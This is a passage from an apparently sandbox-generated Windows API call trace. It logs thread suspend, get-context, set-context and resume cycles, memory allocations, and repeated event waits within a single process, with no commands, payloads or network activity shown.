Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.772] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fe40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.773] ResumeThread (hThread=0x130) returned 0x1
[0131.773] CloseHandle (hObject=0x130) returned 1
[0131.773] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.816] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.867] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.867] SuspendThread (hThread=0x130) returned 0x0
[0131.867] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021ff78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12975c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.867] ResumeThread (hThread=0x130) returned 0x1
[0131.867] CloseHandle (hObject=0x130) returned 1
[0131.867] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.908] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.975] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.975] SuspendThread (hThread=0x130) returned 0x0
[0131.975] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00027bcd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f1f40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.978] ResumeThread (hThread=0x130) returned 0x1
[0131.978] CloseHandle (hObject=0x130) returned 1
[0131.978] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0132.024] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0)
Thread:
id = 131
os_tid = 0x13cc
[0073.268] free (_Block=0x25dd56a16f0)
[0073.268] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c9ffa50, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c9ffa50*=0xd4) returned 1
[0073.268] VirtualQuery (in: lpAddress=0xd17c9ffa70, lpBuffer=0xd17c9ffa70, dwLength=0x30 | out: lpBuffer=0xd17c9ffa70*(BaseAddress=0xd17c9ff000, AllocationBase=0xd17c800000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0073.268] SwitchToThread () returned 1
[0073.337] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dd5610000
[0073.337] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000
[0073.338] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000
[0073.338] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000
[0073.338] malloc (_Size=0x18) returned 0x25dd56a16f0
[0073.338] _beginthread (_StartAddress=0x182a890, _StackSize=0x0, _ArgList=0x25dd56a16f0) returned 0xd8
[0073.338] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xdc
[0073.338] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe0
[0073.338] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0073.784] VirtualAlloc (lpAddress=0xc00005c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005c000
[0073.784] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0085.949] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0086.200] SetEvent (hEvent=0xec) returned 1
[0086.200] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0087.885] SetEvent (hEvent=0xec) returned 1
[0087.984] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0088.559] SetEvent (hEvent=0xec) returned 1
[0088.559] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0089.211] SetEvent (hEvent=0xec) returned 1
[0089.211] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0089.517] SetEvent (hEvent=0xec) returned 1
[0089.517] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0089.964] SetEvent (hEvent=0xec) returned 1
[0089.964] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0090.841] SetEvent (hEvent=0xec) returned 1
[0090.841] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0091.239] SetEvent (hEvent=0xec) returned 1
[0091.239] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0091.777] SetEvent (hEvent=0xec) returned 1
[0091.777] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0092.228] SetEvent (hEvent=0xec) returned 1
[0092.228] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0092.532] SetEvent (hEvent=0xec) returned 1
[0092.532] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0092.825] SetEvent (hEvent=0xec) returned 1
[0092.825] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0093.303] SetEvent (hEvent=0xec) returned 1
[0093.303] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0093.702] SetEvent (hEvent=0xec) returned 1
[0093.702] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0094.140] SetEvent (hEvent=0xec) returned 1
[0094.140] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0094.594] SetEvent (hEvent=0xec) returned 1
[0094.594] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0095.001] SetEvent (hEvent=0xec) returned 1
[0095.001] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0095.451] SetEvent (hEvent=0xec) returned 1
[0095.451] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0095.849] SetEvent (hEvent=0xec) returned 1
[0095.849] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0096.588] SetEvent (hEvent=0xec) returned 1
[0096.588] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0096.995] SetEvent (hEvent=0xec) returned 1
[0096.995] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0097.828] SetEvent (hEvent=0xec) returned 1
[0097.828] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0098.295] SetEvent (hEvent=0xec) returned 1
[0098.295] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0098.903] SetEvent (hEvent=0xec) returned 1
[0098.903] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0099.421] SetEvent (hEvent=0xec) returned 1
[0099.421] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0099.812] SetEvent (hEvent=0xec) returned 1
[0099.812] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0100.609] SetEvent (hEvent=0xec) returned 1
[0100.609] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0101.060] SetEvent (hEvent=0xec) returned 1
[0101.060] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0101.380] SetEvent (hEvent=0xec) returned 1
[0101.380] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0102.364] SetEvent (hEvent=0xec) returned 1
[0102.459] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0102.807] SetEvent (hEvent=0xec) returned 1
[0102.807] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0103.291] SetEvent (hEvent=0xec) returned 1
[0103.291] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0103.748] SetEvent (hEvent=0xec) returned 1
[0103.748] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0104.102] SetEvent (hEvent=0xec) returned 1
[0104.102] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0105.214] SetEvent (hEvent=0xec) returned 1
[0105.214] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0105.572] SetEvent (hEvent=0xec) returned 1
[0105.572] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0106.078] SetEvent (hEvent=0xec) returned 1
[0106.078] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0106.489] SetEvent (hEvent=0xec) returned 1
[0106.489] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0106.958] SetEvent (hEvent=0xec) returned 1
[0106.958] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0107.383] SetEvent (hEvent=0xec) returned 1
[0107.383] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0107.745] SetEvent (hEvent=0xec) returned 1
[0107.745] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0108.383] SetEvent (hEvent=0xec) returned 1
[0108.383] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0108.743] SetEvent (hEvent=0xec) returned 1
[0108.743] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0109.127] SetEvent (hEvent=0xec) returned 1
[0109.127] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0109.452] SetEvent (hEvent=0xec) returned 1
[0109.452] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0109.741] SetEvent (hEvent=0xec) returned 1
[0109.741] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0110.218] SetEvent (hEvent=0xec) returned 1
[0110.218] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0110.606] SetEvent (hEvent=0xec) returned 1
[0110.606] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0111.142] SetEvent (hEvent=0xec) returned 1
[0111.142] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0111.569] SetEvent (hEvent=0xec) returned 1
[0111.569] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0111.923] SetEvent (hEvent=0xec) returned 1
[0111.923] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0112.296] SetEvent (hEvent=0xec) returned 1
[0112.296] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff) returned 0x0
[0112.657] SetEvent (hEvent=0xec) returned 1
